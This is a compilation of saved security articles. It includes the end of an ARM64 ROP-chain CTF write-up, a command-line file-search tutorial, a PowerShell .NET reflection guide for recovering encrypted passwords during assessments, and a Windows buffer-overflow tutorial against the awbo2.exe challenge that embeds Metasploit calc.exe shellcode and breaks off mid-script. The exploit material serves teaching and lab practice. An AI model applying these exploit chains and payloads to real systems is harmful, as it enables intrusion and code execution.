In almost all the gadgets, most of loads/stores are done relative to x29 so we
need to make sure we control it properely too.

Here is how the stack looks at the epilogue of the `alloc` function just
before the execution of our first gadget.

<img src='img/Temp2_6693.png' width='906' height='350' alt='stack_code' />

It pops the x29 and x30 from the stack and returns, jumping to our first
gadget. Since we control x29, we control x0.

Now the only thing left is to return to `gets`, but it won’t work if we return
directly at the top of `gets`.

Why? Let’s look at the prologue of `gets`

[code]

    <_IO_gets>:    stp    x29, x30, [sp, #-48]!
    <_IO_gets+4>:    mov    x29, sp
    
[/code]  
---  
`

[/code]

`gets` assume that the return address is in x30 \(it would be in a normal
execution\) and thus it tries to preserve it on the stack along with x29.

Unfortunately for us, since we reached there with `ret`, the x30 holds the
address of `gets` itself.

If this continues, it would pop the preserved x30 at the end of `gets` and
then jump back to `gets` again in an infinite loop.

To bypass it, we use a simple trick and return at `gets+0x8`, skipping the
preservation. This way, when it pops x30 at the end, we would be able to
control it and jump to our next gadget.

This is the rough sketch of our first stage ROP-chain:

[code]

    gadget = libcbase + 0x00062554 #0x0000000000062554 : ldr x0, [x29, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret // to control x0
    
    payload = ""
    
    payload += p64(next_x29) + p64(gadget) + p64(0x0) + p64(0x8) # 0x0 and 0x8 are the local variables that shouldn't be overwritten
    payload += p64(next_x29) + p64(gets_address) + p64(0x0) + p64(new_x29_stack) # Link register pointing to the next frame + gets() of libc + just a random stack variable + param popped by gadget_1 into x1 (for param of gets)
    
[/code]  
---  
`

[/code]

Now that we have infinite space for our second stage ROP-chain, what should we
do?

At first we decided to do the open/read/write all in ROP but it would make it
unnecessarily long and complex, so instead we `mprotect\(\)` the stack to make
it executable and then jump to shellcode we placed on the stack.

`mprotect` takes 3 arguments, so we need to control x0, x1 and x2 to succeed.

Well, we began gadget hunting again. We already control x0, so we found this
gadget:

[code]

    gadget_1 = 0x00000000000ed2f8 : mov x1, x0 ; ret
    
[/code]  
---  
`

[/code]

At first glance, it looks perfect, copying x0 into x1. But if you have been
paying close attention, you would realize it doesn’t modify x30, so we won’t
be able to control execution beyond this.

What if we take a page from JOP \(jump oriented programming\) and find a
gadget which given us the control of x30 and then jumps \(not call\) to
another user controlled address?

[code]

    gadget_2 = 0x000000000006dd74 :ldp x29, x30, [sp], #0x30 ; br x3
    
[/code]  
---  
`

[/code]

Oh wowzie, this one gives us the control of x30 and then jumps to x3. Now we
just need to control x3…..

[code]

    gadget_3 = 0x000000000003f8c8 : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
    
    gadget_4 = 0x0000000000026dc4 : mov x3, x19 ; mov x2, x26 ; blr x20
    
[/code]  
---  
`

[/code]

The first gadget here gives us control of x19 and x20, the second one moves
x19 into x3 and calls x20.

Chaining these two, we can control x3 and still have control over the
execution.

Here’s our plan:

  * Have x0 as 0x500 \(mprotect length\) with the same gadget we used before
  * Use gadget\_3 to make x19 = gadget\_1 and x20 = gadget\_2
  * return to gadget\_4 from gadget\_3, making x3 = x19 \(gadget\_1\)
  * gadget\_4 calls x20 \(gadget\_2\)
  * gadget\_2 gives us a controlled x30 and jumps to x3 \(gadget\_1\)
  * gadget\_1 moves x0 \(0x500\) into x1 and returns

Here’s the rough code equivalent:

[code]

    payload = ""
    
    payload += p64(next_x29) + p64(gadget_3) + p64(0x0) * x (depends on stack) #returns to gadget_3
    
    payload += p64(next_x29) + p64(gadget_4) + p64(gadget_1) + p64(gadget_2) + p64(0x0) * 4 # moves gadget_1/3 into x19/20 and returns to gadget_4
    
    payload += p64(next_x29) + p64(next_gadget) #setting up for the next gadget and moving x19 into x3. x20 (gadget_2) is called from gadget_4
    
[/code]  
---  
`

[/code]

That was haaard, now let’s see how we can control x2…

[code]

    gadget_6 = 0x000000000004663c : mov x2, x21 ; blr x3
    
[/code]  
---  
`

[/code]

This is the only new gadget we need. It moves x21 into x2 and calls x3. We can
already control x21 and x3 with the help of gadget\_4 and gadget\_3.

Now that we have full control over x0, x1 and x2, we just need to put it all
together and shellcode the flag read. I won’t go into details about that.

And that’s a wrap folks, you can find our final exploit here

\- Jazzy

  

# Command Line Kung Fu: Episode \#21: Finding & Locating Files

**Created:**| _5/16/2009 10:31:05 AM_  
---|---  
**Updated:**| _5/16/2009 10:31:10 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#21: Finding & Locating Files

Paul Writes In:  
  
I'm one of those messy desktop people. There I said it, I keep a messy desktop
with tons of files all over the place \(partly due to the fact that when you
do <4> in OS X to take a screen grab it puts the file on the desktop\). So, it
should some as no suprise that I often need help finding files. I don't know
how many of you have actually run the find command in OS X \(or even Linux\),
but it can be slow:  
  

[code]

    # time find / -name msfconsole  
    real 14m3.648s  
    user 0m17.783s  
    sys 2m29.870s
    
[/code]

  
I actually stopped it at around 15 minutes because I couldn't wait that long.
There are many factors in the performance equation of the above command, such
as the overall speed of the system, how busy the system is when you execute
the command, and some even say that find is slower if its checking across
different file system types \("/" would also include mounted USB drives\). A
quicker way to find files is to use the locate command:  
  

[code]

    $ locate msfconsole | grep -v .svn  
    /Users/fanboy/metasploit/framework-2.7/msfconsole  
    /Users/fanboy/metasploit/framework-3.1/msfconsole  
    /Users/fanboy/metasploit/framework-3.2-release/msfconsole
    
[/code]

  
This command reads from a database \(which is generated on a regular basis\)
that consists of a listing of files on the system. It's MUCH faster:  
  

[code]

    $ time locate msfconsole  
    real 0m1.205s  
    user 0m0.298s  
    sys 0m0.050s
    
[/code]

  
I'm wondering what Ed's going to do on Windows, unless he's come up with a way
to get an animated ASCII search companion dog. :\)  
  
Hal Says:  
  
One thing I will note about the locate command is that it's going to do sub-
expression matching, whereas "find ... -name ..." will do an exact match
against the file name. To see the difference, check out the following two
commands:  
  

[code]

    # **find / -name vmware**  
     /etc/vmware  
    /etc/init.d/vmware  
    /usr/lib/vmware  
    /usr/lib/vmware/bin/vmware  
    /usr/bin/vmware  
    /var/lib/vmware  
    /var/lock/subsys/vmware  
    /var/log/vmware  
    # **locate vmware**  
     /etc/vmware  
    /etc/init.d/vmware  
    /etc/pam.d/vmware-authd  
    /etc/rc2.d/K08vmware  
    /etc/rc2.d/S19vmware  
     _[... 5000+ addtl lines of output not shown ...]_
    
[/code]

  
Also, as Paul notes above, the database used by the locate command is updated
regularly via cron. The program that builds the database is updatedb, and you
can run this by hand if you want to index and search your current file system
image, not the image from last night.  
  
I was curious whether doing a find from the root was faster than running
updatedb followed by locate. Note that before running the timing tests below,
I did a "find / -name vmware" to force everything into the file cache on my
machine. Then I ran:  
  

[code]

    # **time find / -name vmware >/dev/null**  
     real 0m1.223s  
    user 0m0.512s  
    sys 0m0.684s  
      
    # **time updatedb**  
     real 0m0.263s  
    user 0m0.128s  
    sys 0m0.132s  
      
    # **time locate vmware >/dev/null**  
     real 0m0.314s  
    user 0m0.292s  
    sys 0m0.016s  
    
    
[/code]

  
It's interesting to me that updatedb+locate is twice as fast as doing the
find. I guess this shouldn't really be that surprising, since find is going to
end up calling stat\(2\) on every file whereas updatedb just has to collect
file names.  
  
Ed Kicks in Some Windows Stuff:  
  
In Windows, the dir command is often used to search for files with a given
name. There are a variety of ways to do this. One of the most obvious but less
efficient ways to do this involves running dir recursively \(/s\) scraping
through its results with the find or findstr command to look for what we want.
I'll use the findstr command here, because it gives us more extensibility if
we want to match on regex:  
  

[code]

    C:\> dir /b /s c:\ | findstr /i vmware  
    
    
[/code]

There are a couple of things here that may not be intuitive. First off, what's
with the /b? This indicates that we want the bare form of output, which will
omit the extra stuff dir adds to a directory listing, including the volume
name, number of files in a directory, free bytes, etc. But, when used with the
/s option to recurse subdirectories, /b takes on an additional meaning. It
tells dir to show full paths to files, which is what we really want to see to
know the file's location. Try running the command without /b, and you'll see
that it doesn't show what we want. The /b makes it show what we want: the full
path to the file so we know its location. Oh, and the /i makes findstr case
insensitive.  
  
But, you know, dumping all of the directory and file names on standard out and
then scraping through them with findstr is incredibly inefficient. There is a
better way, more analogous to the "find / -name" feature Paul and Hal use
above:  
  

[code]

    C:\> dir /b /s c:\*vmware*  
    
    
[/code]

  
This command seems to imply that it will simply look inside of the c:\
directory itself for vmware, doesn't it? But, it will actually recurse that
directory looking for matching names because of the /s. And, when it finds
one, it will then display its full path because of the /b. I put \*vmware\*
here to make this look for any file that has the string vmware in its name so
that its functionality matches what we had earlier. If you omit the \*'s,
you'll only see files and directories whose name exactly matches vmware. This
approach is significantly faster than piping things through the findstr
command. Also note that it is automatically case insensitive, because, well,
that's the way that dir rolls.  
  
How much faster? I'm going to use Cygwin so I can get the time command for
comparison. The $ prompt you see below is from Cygwin running on my XP box:  
  

[code]

    $ **time cmd.exe /c "dir /s /b C:\ | findstr /i vmware > nul"  
    **  
     real 0m10.672s  
    user 0m0.015s  
    sys 0m0.015s  
    
    
[/code]

  
Now, let's try the other approach:  
  

[code]

    $ **time cmd.exe /c "dir /s /b C:\*vmware* > nul"  
    **
    
[/code]

[code]

    real 0m6.484s  
    user 0m0.015s  
    sys 0m0.031s  
    
    
[/code]

  
It takes about half the time doing it this more efficient way. Oh, and note
how I'm using the Cygwin time command here. I use time to invoke a cmd.exe
with the /c option, which will make cmd.exe run a command for me and then go
away when the command is done. Cygwin's time command will then show me how
long the command took. I use time to invoke a cmd.exe /c rather than directly
invoking a dir so that I can rely on the dir command built-into cmd.exe
instead of running the dir command included in Cygwin.  
  
OK... so we have a more efficient way of finding files than simply scraping
through standard output of dir. But, what about an analogous construct to the
locate command that Hal and Paul talk about above? Well, Windows 2000 and
later include the the Indexing Service, designed to make searching for files
more efficient by creating an index. You can invoke this service at the
command line by running:  
  

[code]

    C:\> **sc start cisvc**
    
[/code]

  
Windows will then dutifully index your hard drive, making searches faster.
What kind of searches? Well, let's see what it does for our searches using
dir:  
  

[code]

    $ **time cmd.exe /c "dir /s /b C:\*vmware* > nul"  
    **
    
[/code]

[code]

    real 0m6.312s  
    user 0m0.015s  
    sys 0m0.046s  
    
    
[/code]

  
Uh-oh... The Windows indexing service doesn't help the dir command, whether
used this way or in combination with the find command. Sorry, but dir doesn't
consult the index, and instead just looks through the complete file system
directory every time. But, the indexing service does improve the performance
of the Start-->Search GUI based search. You can control which directories are
included in the index via a GUI tool that can be accessed by running:  
  

[code]

    C:\> ciadv.msc
    
[/code]

Also, in that GUI, if you select System-->Query the Catalog, you get a nice
GUI form for entering a query that relies on the indexing service. I haven't
found a built-in cmd.exe feature for searching directories faster using the
indexing service, but there is an API for writing your own tools in VBS or
other languages for quering the index. Microsoft describes that API and the
indexing service in more detail here.

# idagrapher - Project Hosting on Google Code

**Created:**| _4/20/2010 4:57:06 PM_  
---|---  
**Updated:**| _4/20/2010 4:57:14 PM_  
**Author:**| __  
**Tags:**| _bookmark iDA plugin_  
  

IDA is a commercial reverse engineering tool which has disassembly and
debugging functionalities. It has pretty nice graph based disassembly browser.
But, it fails sometimes when it meets some severe obfuscation. This usually
happens with malware.

IDAGrapher is a project to visualize the code chunks in a way that it doesn't
break even though it's obfuscated and tweaked using many different way to fool
disassembler. It still relies on the power of IDA, but it has it's own logic
to determine and draw the graphs.

And the point is it's an opensource project and you can modify the logic
whenever you need to and contribute and feedback the result to the project and
you can make it more stable and powerful.

# Using Powershell and Reflection API to invoke methods from .NET Assemblies -
NetSPI Blog

**Created:**| _10/25/2013 9:37:32 AM_  
---|---  
**Updated:**| _10/25/2013 9:37:32 AM_  
**Author:**| __  
**Tags:**| _asm .Net powershell_  
  

# **U** sing Powershell and Reflection API to invoke methods from .NET
Assemblies****

10/14/2013 | NetsPWN 
During application assessments, I have stumbled upon several cases when I need
to call out a specific function embedded in a .NET assembly \(be it .exe or
.dll extension\)**.** For example, an encrypted database password is found in
a configuration file**.** Using .NET Decompiler, I am able to see and identify
the function used to encrypt the database password**.** The encryption key
appears to be static, so if I could call the corresponding decrypt function, I
would be able to recover that password**.** Classic solution: using Visual
Studio to create new project, import encryption library, call out that
function if it's public or use .NET Reflection API if it's private \(or just
copy the class to the new workspace, change method accessibility modifier to
public and call out the function too if it is self-contained\)**.**
Alternative \(and hopeful less-time consuming\) solution: Powershell could be
used, in conjunction with .NET Reflection API to invoke methods directly from
the imported assemblies, bypassing the need of an IDE and the grueling process
of compiling source code**.**

## Requirements****

Powershell and .NET framework, available at http://www.microsoft.com/en-
us/download/details.aspx**?** id=34595

Note that Powershell version 3 is used in the below examples, and the assembly
is written in C\#**.**

## Walkthrough****

First, identify the fully qualified class name \(typically in the form of
**Namespace.Classname** \), method name, accessibility level, member modifier
and method arguments**.** This can easily be done with any available .NET
Decompiler \(dotPeek, JustDecompile, Reflector\)

<img src='img/Temp2_8777.png' />

### Scenario 1: Public static class - Call public static method****

[code]

    namespace AesSample
    {
    	public class AesLibStatic
    	{
    		..**.**
    		public static string DecryptString(string cipherText)
    		{
    			return DecryptStringPrivate(StringToByteArray(cipherText));
    		}
    
[/code]

This is the vanilla case, essentially in powershell you just need to call
**\[Namespace\]**.**\[Classname\]::\(params\[\]\)** And it only took 2 lines
of code to do it:

[code]

    #Load all .NET binaries in the folder
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}} 
    
    #Call public static method
    [AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
    
[/code]

**Result:**

**<img src='img/Temp2_8779.png' />**

****

### Scenario 2: Public static class - Call private static method****

Let's say you want to call this private static method, assuming the method
name is unique within the class

[code]

    private static string DecryptStringSecret(string cipherText)
    {
    	return DecryptStringPrivate(StringToByteArray(cipherText));
    }
    
[/code]

Private methods can't be accessed directly from Powershell object, instead you
will need to find it by name and correct binding flags**.** More information
about binding flags could be found here: http://msdn.microsoft.com/en-
us/library/4ek9c21e.aspx

[code]

    #Load all .NET binaries in the folder
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
    
    #Only retrieve static private method
    $BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
     
    #Load method based on name
    $PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
     
    #Invoke
    $PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")
    
[/code]

### Scenario 2 Extension: Function Overloading: Public static class - Call
private static method****

In some cases, programmer takes advantage of function overloading feature of
Object-Oriented languages - i.e multiple methods can have the same name as
long as they have different argument list**.** For example:

[code]

    private static string DecryptStringPrivate(string cipherText)
    {
    	return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
    }
     
    private static string DecryptStringPrivate(byte[] cipherText)
    {
    	return DecryptStringFromBytes_Aes(cipherText, key, iv);
    }
    
[/code]

Note that the two DecryptStringPrivate methods have the same name, but one
takes a string as input, while another takes a bytearray as input**.** In this
case, to look up the right method, you will need method name and method
signature**.** The snippet below will invoke DecryptStringPrivate\(byte\[\]
cipherText\)

[code]

    #Load all .NET binaries in the folder
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
    #Search for private method based on name
    $PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
     
     
    $PrivateMethods | ForEach-Object{
    	$PrivateMethod=$_
    	$MethodParams=$PrivateMethod.GetParameters()
    	$MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
    	#This will list all the method signatures
    	$MemberSignature.Member.ToString()
     
    	#Choose the correct method based on parameter list
    	If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
    		[byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
    		[Object[]] $Params=@(,$Bytes)
     
    		#Call with the right arguments
    		$PrivateMethod.Invoke($null,$Params)
    	}
    }
    
[/code]

### Scenario 3: Public class - Call nonstatic public method****

If a class is not declared with "static" keyword, its methods can't be invoked
directly from the class itself but from an instance of the class**.** What it
means is: Instead of calling: _Classname.methodName\(args\[\]\)_ You will need
to call: _Classname a = new Classname\(\);  
a.methodName\(args\[\]\);_

**For example:**

[code]

    namespace AesSample
    {
    	public class AesLib
    	{
    		..**.**
    		public  string DecryptString(string cipherText)
    		{
    			return DecryptStringPrivate(StringToByteArray(cipherText));
    		}
    
[/code]

**Sample solution:**

[code]

    #Load all .NET binaries in the folder
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
    
    #Call default constructor (no argument)
    $AesSample= New-Object "AesSample.AesLib"
    #Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
     
    #Invoke public method 
    $AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
    
[/code]

### Scenario 4: Public class: Function Overloading - Call nonstatic private
method****

This is very similar to Scenario 2: extension above**.** Again you will need
both method name and argument list to call the right method**.**

[code]

    private  string DecryptStringPrivate(string cipherText)
    {
    	return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
    }
     
    private  string DecryptStringPrivate(byte[] cipherText)
    {
    	return DecryptStringFromBytes_Aes(cipherText, key, iv);
    }
    
[/code]

**Solution:**

[code]

    #Load all .NET binaries in the folder
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
    #Call constructor
    $Instance= New-Object "AesSample.AesLib" ("a","b")
     
    # Find private nonstatic method**.** If you want to invoke static private method, replace Instance with Static
    $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
     
    $Instance.GetType().GetMethods($BindingFlags) |  Where-Object Name -eq DecryptStringPrivate| ForEach-Object{
    	$PrivateMethod=$_
    	$MethodParams=$PrivateMethod.GetParameters() 
    	$MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
    	$MemberSignature.Member.ToString()
    	If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
    		[byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
    		[Object[]] $Params=@(,$Bytes)
     
    		# You will need to pass the Instance here instead of $null
    		$PrivateMethod.Invoke($Instance,$Params)
    	}
     }
    
[/code]

## Closing thoughts**** :

  * I didn't include code to call out methods from private class in this post**.** Mainly because usually you can find a public class that reference to private class if it needs to use some methods of the private class, and then you can just invoke the calling method of the public class instead**.**
  * Those snippets work under assumption that all necessary .NET assemblies are located in the same fodder**.** If other externally-linked .NET assemblies are required, add additional code to load them into memory**.**
  * Same with externally-linked native assemblies: either set them in your PATH environment variable, manually copy them to C:\Windows\system32 \(not recommended\) or load them with Powershell's DllImport: http://blogs.msdn.com/b/mattbie/archive/2010/02/23/how-to-call-net-and-win32-methods-from-powershell-and-your-troubleshooting-packs.aspx
  * This method may also be useful in situations where you can't decompile the application's assemblies due to legal constraints**.** Consult with client or your contact before doing this, but it may be OK to list assembly's methods and call them when necessary**.** This snippet will import all assemblies found in a folder and list all the constructors, methods along with argument list in a Powershell GridView \(it's kind of like mini-Excel so you have built-in search and filter features\)

[code]

    $Results=@()
    Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|
    Where-Object {	($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | 
    ForEach-Object {
    		$AssemblyName= $_.FullName; try {$Assembly = [Reflection.Assembly]::LoadFile($AssemblyName);} catch{ "***ERROR*** Error when loading assembly: " +  $AssemblyName} $Assembly | Format-Table; $Assembly.GetTypes() |
    		%{
    			$Type=$_;$_.GetMembers() | Where-Object {$_.MemberType -eq "Constructor"-or $_.MemberType -EQ "Method" } | 
    			%{
    				$ObjectProperties = @{	'Assembly' = $AssemblyName;
    						'ClassName' = $Type.Name;
    						'ClassPublic' = $Type.IsPublic;
    						'ClassStatic' = $Type.IsAbstract -and $Type.IsSealed;
    						'MemberType' = $_.MemberType;
    						'Member' = $_.ToString();
    						'Changed' = $Changed;
    						'MemberPublic' = $_.IsPublic;
    						'MemberStatic' =$_.IsStatic;
    													}
    					$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
    					$Results+=$ResultsObject
    				}
    			}
    }
    $Results | Select-Object Assembly,ClassPublic,ClassStatic,ClassName,MemberType,Member,MemberPublic,MemberStatic |  Sort-Object Assembly,ClassName,MemberType,Member| Out-GridView -Title "Reflection"
    
[/code]

**Sample output:**

**<img src='img/Temp2_8778.png' />**

****

## Reference**** :

Thanks Scott for feedbacks and help testing them out**.** You can also find
the snippets mentioned in this post at https://github.com/NetSPI/PS\_Reflector

****

# Journey into Exploitation: awbo2.exe Security Aegis

**Created:**| _5/9/2011 9:25:22 PM_  
---|---  
**Updated:**| _5/10/2011 4:00:40 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging Exploit_  
  

# Journey into Exploitation: awbo2.exe

In this series of blog posts, I will be documenting my journey into the art of
exploitation. My goal for this series is to experiment with some of the
challenges that are out there and hopefully provide some guidance for others
in my shoes. I am targeting those of you with moderate amount experience in
exploitation. Hopefully, I will further my own knowledge and yours \(the
reader\).

What you’ll need:

  1. Immunity Debugger
  2. Pvefindaddr plugin
  3. Windows 2000 SP4 Virtual Machine

In this first post we’re going to look at **awbo2.exe**. The Advanced Windows
Buffer Overflows were written by Lurene Grenier, formerly of Sourcefire’s VRT.

To quote:

> At Defcon XIV, Immunity trotted out the first iteration of their NOP cert
> test, and I had the pleasure of giving it a test run. I still think it’s a
> great indicator of ability, despite the Immunity tools focus; I’m not a user
> of any of their tools generally, but I managed to pull off the hardest level
> test in a modest time. It got us thinking on the way home, where does one go
> from the bar set by the NOP to get to the next level in terms of exploit
> development skill? In this vein I’ve thrown together a few windows
> executables, and in a nod to Gera of Core, they’re called Advanced Windows
> Buffer Overflows \(AWBOs\).
To follow along, you can download the binary, as well as the other challenges,
from the following URL:

http://www.snort.org/vrt/tools/awbo.html

Before we get started, there are a few rules we need to follow:

  1. All exploits are performed in Windows 2000 SP4 unless otherwise specified. Sometimes, otherwise will be specified.
  2. Exploits will use the provided shellcode, or ret2lib.
  3. You may not return to hard coded stack addresses.
  4. No source code will be provided – just like the NOP cert \(one of the most hardcore exploit certs IMO\).

You can find the shellcode below:

`01` | `# windows/exec - 121 bytes`  
---|---  
`02` | `# http://www.metasploit.com # EXITFUNC=seh, CMD=calc.exe`  
---|---  
`03` | `"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .`  
---|---  
`04` | `"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .`  
---|---  
`05` | `"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .`  
---|---  
`06` | `"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .`  
---|---  
`07` | `"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .`  
---|---  
`08` | `"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .`  
---|---  
`09` | `"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .`  
---|---  
`10` | `"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .`  
---|---  
`11` | `"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";`  
---|---  
Before any engagement like this, the first step is to study the target. As per
rule \#1, we will be working on Windows 2000 SP4. Run the binary and examine
what happens:

<img src='img/Temp2_4728.png' width='300' height='220' />

The first thing you should notice is that there is an INT3 instruction right
at the beginning of the application followed by:

`1` | `0040100C CC INT3`  
---|---  
`2` | `0040100D 8D85 FCFBFFFF LEA EAX,DWORD PTR SS:[EBP-404]`  
---|---  
`3` | `00401013 8945 FC MOV DWORD PTR SS:[EBP-4],EAX]`  
---|---  
`4` | `00401016 8D8D FCFBFFFF LEA ECX,DWORD PTR SS:[EBP-404]`  
---|---  
These three instructions are setting up the stack to take in 1028 bytes of
input. Go ahead and hit play a couple times to start the application, then
send it some junk data.

<img src='img/Temp2_4730.png' width='300' height='79' />

It looks like we have enough information to go ahead and exploit the
application. Lets start things off by writing a simple template \(in python\)
to crash the application. Use Metasploits pattern\_create to create a pattern
of 1036 bytes in size, this will be for our junk data:

`1` | `# exploit.py`  
---|---  
`2` | `junk = (“metasploit pattern here”)`  
---|---  
`3` |   
---|---  
`4` | `try:`  
---|---  
`5` | `print junk`  
---|---  
`6` |   
---|---  
`7` | `except:`  
---|---  
`8` | `print "\n[-] Something went wrong...\n"`  
---|---  
After you’ve saved your exploit. Pipe the data over to awbo2.exe:

<img src='img/Temp2_4729.png' width='300' height='50' />

<img src='img/Temp2_4725.png' width='300' height='219' />

So far so good, we’ve crashed the application. But, we didn’t overwrite EIP.
Currently, EAX and ECX contain our junk data and we have an access violation
at 0×69423169. This access violation is because this isn’t a real address in
memory. Instead it is part of our pattern. Using pattern\_offset we can find
out exactly where to put a real address:

<img src='img/Temp2_4723.png' width='300' height='22' />

Now restart the application and continue to step through until the call to
kernel32 is made. The reason for this is because we need a real address to
pass over the first access violation and hopefully lead to the overwrite of
EIP. Grab any address here and edit our python script.

`01` | `# exploit.py`  
---|---  
`02` | `junk = "\x41" * 1024`  
---|---  
`03` |   
---|---  
`04` | `addr = "\xda\x48\xe8\x77" # addr from kernel32`  
---|---  
`05` |   
---|---  
`06` | `junk2 = "\x42" * 1000`  
---|---  
`07` |   
---|---  
`08` | `try:`  
---|---  
`09` | `print junk + addr`  
---|---  
`10` |   
---|---  
`11` | `except:`  
---|---  
`12` | `print "\n[-] Something went wrong...\n"`  
---|---  
Now rerun the python script:

<img src='img/Temp2_4722.png' width='300' height='219' />

Great\! Now that we own EIP, things should be downhill from here. ESP
currently points to our junk2 data \(“\x42”\) and if you look a little closer
at the stack. We own nSEH and SEH as well:

<img src='img/Temp2_4731.png' width='300' height='269' />

Now, we can do one of two things. We can exploit this via an SEH overwrite, or
we can keep things simple and just place our shellcode at ESP and jump too it.
For now, we’re going to place our shellcode at ESP and jump too it. Open a new
instance of Immunity Debugger and search for our jmp esp instruction \(make
sure to open awbo2.exe and play it before you search\):

<img src='img/Temp2_4732.png' width='300' height='290' />

Now edit our python script with one of the addresses in the j.txt file:

`01` | `# exploit.py`  
---|---  
`02` | `junk = "\x41" * 1024`  
---|---  
`03` |   
---|---  
`04` | `addr = "\xda\x48\xe8\x77" # addr from kernel32`  
---|---  
`05` |   
---|---  
`06` | `junk2 = "\x42" * 4`  
---|---  
`07` |   
---|---  
`08` | `EIP = "\x8b\x94\xf8\x77" # jmp esp => ntdll.dll`  
---|---  
`09` |   
---|---  
`10` | `shellcode = "\xcc" * 1000`  
---|---  
`11` |   
---|---  
`12` | `try:`  
---|---  
`13` | `print junk + addr + junk2 + EIP + shellcode`  
---|---  
`14` |   
---|---  
`15` | `except:`  
---|---  
`16` | `print "\n[-] Something went wrong...\n"`  
---|---  
Run the script, but this time before you step over the break at the beginning.
Set a breakpoint at our jmp esp instruction at 0x77f8948b, then hit play:

<img src='img/Temp2_4727.png' width='300' height='151' />

When you step over this instruction, you should land in our sled of int3
instructions:

<img src='img/Temp2_4726.png' width='300' height='219' />

Almost there\! Edit our script to take our shellcode from before.

`01` | `# exploit.py`  
---|---  
`02` | `junk = "\x41" * 1024`  
---|---  
`03` |   
---|---  
`04` | `addr = "\xda\x48\xe8\x77" # addr from kernel32`  
---|---  
`05` |   
---|---  
`06` | `junk2 = "\x42" * 4`  
---|---  
`07` |   
---|---  
`08` | `EIP = "\x8b\x94\xf8\x77" # jmp esp => ntdll.dll`  
---|---  
`09` |   
---|---  
`10` | `# windows/exec - 121 bytes`  
---|---  
`11` | `# http://www.metasploit.com`  
---|---  
`12` | `# EXITFUNC=seh, CMD=calc.exe`  
---|---  
`13` | `shellcode = ("\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01"`  
---|---  
`14` | `"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"`  
---|---  
`15` | `"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2"`  
---|---  
